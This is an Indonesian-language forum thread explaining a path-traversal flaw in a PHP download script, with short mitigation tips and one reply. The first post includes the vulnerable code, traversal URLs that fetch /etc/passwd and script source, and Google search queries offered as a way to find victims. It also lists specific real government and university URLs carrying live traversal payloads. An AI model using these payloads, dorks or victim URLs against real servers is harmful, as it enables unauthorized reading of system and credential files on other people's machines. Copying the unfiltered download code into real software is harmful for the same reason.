ilkom
Would you like to react to this message? Create an account in a few clicks or log in to continue.
ilkom

Forum ilkomers brawijaya...
 
IndeksLatest imagesPencarianPendaftaranLogin

 

 Seidikit Kelemahan Script PHP

Go down 
2 posters
PengirimMessage
d0x_xc0d3r

d0x_xc0d3r


Jumlah posting : 33
Join date : 06.05.08
Age : 36
Lokasi : Bengkulu - Malang

Seidikit Kelemahan Script PHP Empty
PostSubyek: Seidikit Kelemahan Script PHP   Seidikit Kelemahan Script PHP Icon_minitimeTue May 27, 2008 9:52 am

PHP adl bahasa pemrograman web yang kehandalannya tidak diragukan lagi. Tapi adanya kesalahan dalam logika pemrograman php akan bisa berakibat fatal.
yah namanya ga ada gading yg ga retak..

Salah satu contoh:
http://download.php
header( "Content-Type: application/octet-stream" );
header( "Content-Length: " . filesize($_GET['file'] ) );
header( "Content-Disposition: inline; filename=\"$_GET[file]\"");
readfile($_GET['file'] );
?>

Kode diatas memiliki kelemahan yang fatal, variabel “file” sama sekali ga difilter,jdi hacker bs mndownload file apapun yang ada di server tsb. Misal hacker mengakses alamat http://korban/download.php?file=../../../../../../etc/passwd maka file /etc/passwd milik server akan dikirimkan ke hacker.

Atau jika hacker mengakses alamat http://korban/download.php?file=download.php maka hacker akan mendapatkan source code dari file download.php.

Sedangkan untuk mencari korban bisa kita gunakan google, misalkan dengan syntax inurl:”download.php?file=” , atau inurl:”download.php?file=*.pdf” -intext:”download.php?file=*.pdf” atau yang lainnya.

contoh situs yang vulnerable:

http://www.mpbp.gov.my/download.php?file=download.php
http://elearning.mmu.edu.my/download.php?file=download.php
http://www.utem.edu.my/fkp/latihanIndustri/download.php?file=../../../../../../etc/passwd
http://www.moe.gov.my/pipp/download.php?filename=/../../../../../../etc/passwd

kalo mo cegahnya:
1. lakukan pemfilteran terhadap inputan yang diterima dari user.
Misalkan pemfilteran terhadap karakter “../”, “%00”, atau type file yang boleh didownload.
2. lakukan pembatasan file access
3. berikan batasan, file di folder mana saja yang boleh didownload atau tidak
4. untuk menghindari googling, hindari penamaan script dengan nama “download.php” dan nama variabel dengan nama “file”.

jadi hati2 yaa, biar ga ada yang jadi korban... Suspect
Kembali Ke Atas Go down
http://radoanum.741.com
the_earth

the_earth


Jumlah posting : 32
Join date : 22.05.08

Seidikit Kelemahan Script PHP Empty
PostSubyek: Re: Seidikit Kelemahan Script PHP   Seidikit Kelemahan Script PHP Icon_minitimeMon Jun 09, 2008 4:54 am

melakukan filternya itu 'mang harus kita sendiri, gw belom pernah nemu bahasa pemrograman yang secara otomatis bisa memfilter suatu variabel, semuanya pasti diseleksi dari user-input (seperti yang @atas bilangin)...

Tapi emang susah ya... udah pernah nyoba? ...
Kembali Ke Atas Go down
 
Seidikit Kelemahan Script PHP
Kembali Ke Atas 
Halaman 1 dari 1

Permissions in this forum:Anda tidak dapat menjawab topik
ilkom :: Komputer N' programming :: Internet N' Web programming-
Navigasi: